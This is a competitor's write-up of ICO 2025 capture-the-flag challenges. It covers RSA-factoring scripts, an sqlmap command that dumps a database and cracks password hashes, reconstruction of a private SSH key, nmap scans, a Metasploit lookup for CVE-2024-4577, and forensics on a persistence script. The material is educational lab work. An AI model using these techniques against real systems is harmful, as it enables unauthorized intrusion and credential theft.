International Cybersecurity Olympiad (ICO) 2025 : Writeups


About ICO

The International Cybersecurity Olympiad (ICO) is a premier global student cybersecurity competition, inspired by flagship academic Olympiads like the IOI and IMO. Hosted by the NUS School of Computing in Singapore, it took place from June 22 - 28, 2025 across venues at University Town (U-Town) and COM3. Designed to address the critical shortage of cybersecurity talent worldwide, ICO brings together the brightest students from 28 countries, each fielding a team of four students and two team leaders, chosen through rigorous national qualifiers . Supported by organizations like the Cyber Security Agency of Singapore, it is led by academics and industry experts, including Assoc. Prof. Tan Sun Teck, President of the IOI.

Attack Style CTF Challenges

Wearing red T-shirts, teams compete for 5 hours to exploit intentionally vulnerable systems and capture flags provided by organizers. This format mirrors real-world offensive security work, emphasizing reverse engineering, web hacking, cryptography, and binary exploitation.

Funny Little Trial 🩶

N00bcak is here and he’s got a simple simple challenge for you! He pinky promises it is super super easy… if you know your RSA. Claim your free flag now!

Flag Format: ICO{xxxx}

Files:

Solution: Since s = p + q leaks the sum of the primes, it allowing for factorization.

from math import isqrt
from Crypto.Util.number import long_to_bytes

n = 730154905440589431898246229243980845471962789952919433912853685206466426533211391338854234214670164848724904589667216748940956830249727285676831414756490690998640546194701086342689745376601356538807686682591780203839430164032096793937680049242883943789740971024955494271811632392373061231517220729719301852972009996322353553223041996363062510793058159512065644653511056406980921126479692128719187843421670656032911202324169115991642446433570774018771779976698615952300873291633910429516420840343236890796694650758307955494625973637455056424008936821341285474068486291080379829605691116049409305720602644588781236517693103071428143555023423340553061848393811834822583084787767556242891835778899026395131919774769929908973580236813201423484418250639612979142717225646471923557902924947393932704451399986520439383222229449588604526233647729930287887832827094294007538293732323035360973881161056800433332655081539807347447394509629279325188711053553878224862658476846195578993440015897035671045877868818838832335917754474581155154779222178423842886030848765103547362401888774000743691540965176858139642895089461110570540423838101816198450394788967837473253642863644044829175861969444416877806962228341043955087466578594819527093346794769
e = 65537
c = 562832356069984106081137774460024417318691786711343850990263251777725495615368309839287879574579887963670997307615076216081038938724418605618077657900533446350490217763099095692070768537153710737669792919337950438628103773814809202814857366823389382849798875874703319910968644165758710199659598482182580560531427744306775515464578806892442707961517142301311443959318437335481597707440442963249235349148401864999450636386694616606321876555886550899834184829891114791797475508848985078894709888296306526168119661944874061976201961879264431442398717096510330771390870446558386486639114110984463105257982992473030697208456435010325240212191298771679578814130902264536954829855870623434714523595038310872353887411157395848362902586410240735790380905087353742755656722339524908032105103775986990007664980058936696379208444690440715730862640087467082716462163431720053541879681770780723256504718955541193959141214988786132292866650857593277833420037923271501563957546704765441958023218245172090983409186260002493788676733674223654884369806617046318513874719478805183309113606738154079837473695430422749868191938873619776918532094847644213959278138295750838263869314678033647024545294768359830666207254896847711652235889603241680551507038983
s = 54053789438762003717026435046758858644184844805086474460780374787993886158141419711606926173606297265967170008267426962552256754749922608947217920152403773919359805310018238474672131330265028491424716930927529647384277891611350497044205674037278986181586614217948510894910310441917319632029804630278892017010589446563461410905655255080369408402703350473796301203329249569749870211461687922755993267051166327474613204007121030586128877101173804871457561708749470102820696524246908465978873764509400913447555788290042530588416722658255095004712441074998378958860145015922918577707379079778746632670811334684876619995230

D = s*s - 4*n
sqrt_D = isqrt(D)
p = (s + sqrt_D) // 2
q = (s - sqrt_D) // 2
assert p * q == n
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
flag = pow(c, d, n)
print(long_to_bytes(flag))

Flag: ICO{f3rMaT5_l1L_ThM_i5_Tr1Vi4L_r1t3???}


Defence Style CTF Challenges

In the Defence-style CTF, teams take on the role of defenders, tasked with detecting intrusions, and reversing malware to find secrets hidden in the depths. This format emphasizes teamwork, incident response, and strategic thinking.

Mona’s Secret

Mona Lisa’s smile is said to hold secrets. But in this case, her image literally does.

Files:

Solution: Using stegseek we can uncover a hidden text in the image.

Flag: ICO2025{happy_SG60}


The Monkey Gallery is a passion project created by an eccentric zoologist… but rumors say it’s more than just a harmless tribute to primates.

Sources suggest that the gallery’s backend was slapped together in a hurry, and not all monkeys were meant to be seen. Some are part of a hidden experiment, and their records are locked deep within a private database table.

Try accessing different monkeys using the URL path: http://200.200.200.40:3000/monkey/{id}

Solution: Using sqlmap we can dump the entire database, since there is a sql-injection vuln at the /monkey/<id>.

sqlmap -u "http://localhost:3000/monkey/*" --risk 3 --level 5 --dbms=MySQL --dump-all

[10:41:10] [INFO] table 'monkey_db.monkey' dumped to CSV file '/home/halfdan/.local/share/sqlmap/output/localhost/dump/monkey_db/monkey.csv'
[10:41:10] [INFO] fetching columns for table 'monkey_users_999' in database 'monkey_db'
[10:41:10] [INFO] fetching entries for table 'monkey_users_999' in database 'monkey_db'
[10:41:10] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[10:41:28] [INFO] writing hashes to a temporary file '/tmp/sqlmapji4qm3g056287/sqlmaphashes-v6hk0sxk.txt' 
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[10:41:31] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/opt/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[10:41:33] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[10:41:37] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[10:41:37] [INFO] starting 12 processes 
[10:41:38] [INFO] cracked password 'ananab' for user 'FlagHunter'

Flag: ICO2025{ananab}


Corrupted Access

A corrupted RSA private key was found on an old admin backup disk. It belongs to the “target” user on a remote server. Unfortunately, the key appears incomplete — the -----END RSA PRIVATE KEY----- line is missing, and some of the content is clearly truncated.

But not all hope is lost. You might be able to reconstruct the original key using mathematical components hidden within the corruption. Once fixed, you can use it to SSH into the manager’s account.

Files:

Solution: ChatGPT ❌ —> CryptoGPT ✅

import base64
from Crypto.PublicKey import RSA
from math import isqrt

def read_int(d, i):
    if d[i] != 0x02:
        raise ValueError("Expected INTEGER")
    i += 1
    l = d[i]
    i += 1
    if l & 0x80:
        n_bytes = l & 0x7F
        l = int.from_bytes(d[i:i+n_bytes], 'big')
        i += n_bytes
    val = int.from_bytes(d[i:i+l], 'big')
    return val, i + l

# Load and decode the corrupted key
with open('corrupted_key') as f:
    b64 = ''.join(line for line in f if not line.startswith('-')).strip()
    der = base64.b64decode(b64)

# Parse ASN.1 to extract n, e, d
i = 0
if der[i] == 0x30:
    i += 1
    if der[i] & 0x80:
        i += (der[i] & 0x7F) + 1
    else:
        i += 1

_, i = read_int(der, i)  # version
n, i = read_int(der, i)
e, i = read_int(der, i)
d_val, _ = read_int(der, i)

# Recover p and q using known RSA relationship
k = d_val * e - 1
p = q = None

for i in range(1, 1 << 20):
    if k % i: continue
    phi = k // i
    a = n - phi + 1
    b2 = a * a - 4 * n
    if b2 >= 0:
        b = isqrt(b2)
        if b * b == b2:
            p = (a + b) // 2
            q = (a - b) // 2
            if p * q == n:
                break

if not p or not q:
    raise ValueError("Failed to recover p and q")

if p > q:
    p, q = q, p

# Reconstruct and export the RSA key
key = RSA.construct((n, e, d_val, p, q))
with open("recovered_key.pem", "wb") as f:
    f.write(key.export_key())

Flag: ICO2025{y0u_h4v3_f0und_Th3_pr1v4t3_k3y}


Credential Breakout

Try to find the credential to unlock the flag.

Files:

Solution: strings CredentialBreakoutChallenge.exe | grep -oP 'IC[^}]*\}' = flag :D

Flag: IC02025{94vYeC2sQc}


[Phase 1 - VA] Scanning - 1

A common step in a vulnerability assessment is to scan for open ports and find running services on those ports. Can you conduct a port scan and find what ports are open on the compromised machine (200.200.200.20)?

Solution: We can use nmap to find what ports are open. nmap -sV -F 200.200.200.20

Flag: ICO2025{80_http}


[Phase 1 - VA] Scanning - 2

Vulnerabilities can sometimes be operating system specific. As such, it is good practice to narrow down as much information as we can when conducting a vulnerability assessment. Are you able to find out what operating system is compromised machine using?

Solution: We can use nmap to determine what OS the target is using. With: nmap -A 200.200.200.20

Flag: ICO2025{Microsoft Windows XP 2019}


[Phase 1 - VA] Searching Open Services

Services running on internal networks typically hold a significant importance and may contain sensitive information. Explore the services you found and see if you can find out the purpose of the service running on port 80.

Solution: We can curl the ip on port 80 to find the purpose of the service in the title tag. curl -v http://200.200.200.20/dashboard/ with gives IT Team's To-Do List

Flag: ICO2025{IT Team's To-Do List}


[Phase 1 - VA] Vulnerable Service

Are you able to find the CVE number of the vulnerability present in the compromised machine?

Solution: If we curl the previous url we find a CVE that needs patching on the To-Do List, curl http://200.200.200.20/dashboard/, where we find <td>Update webserver to be protected from CVE-2024-4577</td>

Flag: ICO2025{CVE_2024_4577}


[Phase 1 - VA] Metasploit

Exploit the vulnerability!

Solution: Using the metasploit console we can search for the cve with: search cve:CVE-2024-4577.

Flag: ICO2025{php_cgi_arg_injection_rce_cve_2024_4577}


[Phase 2 - Forensics] Analysing Pcap

Analyse the packet capture file given in C:\Users\Marcus-WebAdmin\Documents\Network Captures.

We are trying to look out for suspicious activities from the attacker but first, we need to identify the attacker’s IP address. Are there any suspicious IP addresses in the unit’s network found in the capture?

Solution: I use my eyes to look in the pcap file :D

File found:

Flag: ICO2025{192.168.12.135}


[Phase 2 - Forensics] Attacker Malware

It seems like the attacker might have uploaded some of his own files on the compromised machine. Are you able to identify the frame number where the request is initiated?

Solution: We can see a FTP request with the INFO: Request: RETR persist.py has the frame number: 4395

Flag: ICO2025{4395}


[Phase 2 - Forensics] Export Objects

Try to export out important objects/files found in the pcap file!

Solution: Sus file is ofc persist.py.

Flag: ICO2025{persist.py}


[Phase 2 - Forensics] Attacker’s Malware Part 2

It seems like the attacker might have uploaded some of his own files on the compromised machine. Are you able to find it and generate out its md5 digest?

Solution: We can use wireshark to extract the python file and run:

md5sum persist.py 
3b3ea2f2378fbcc04f3a6b95049e8b81  persist.py

Flag: ICO2025{3b3ea2f2378fbcc04f3a6b95049e8b81}


[Phase 3 - AP] Malware Analysis

The malware have attempted to make network connection(s), what IP address and port is it trying to connect to?

Solution: If we look in persist.py we can see:

HOST = '192.168.12.135'
PORT = 4242

Flag: ICO2025{192.168.12.135:4242}


[Phase 3 - AP] Malware Analysis Part 2

What is the name of the key that was created by the malware?

Solution: If we once again look in persist.py we can see:

reg.SetValueEx(key, "malware", 0, reg.REG_SZ, script_path)

Flag: ICO2025{malware}


Conclusion

Day 1 was really tough, the attack-style CTF pushed me to my limits with some hard challenges. Day 2’s defence-style CTF, although easier overall, had its own hurdles—many things went wrong, and long wait times due to sluggish IT infrastructure made it a bit chaotic. Despite the tech hiccups, I managed to secure a silver medal at the end. Thanks to the organizers for a strong first ICO, looking forward to smoother competitions next time!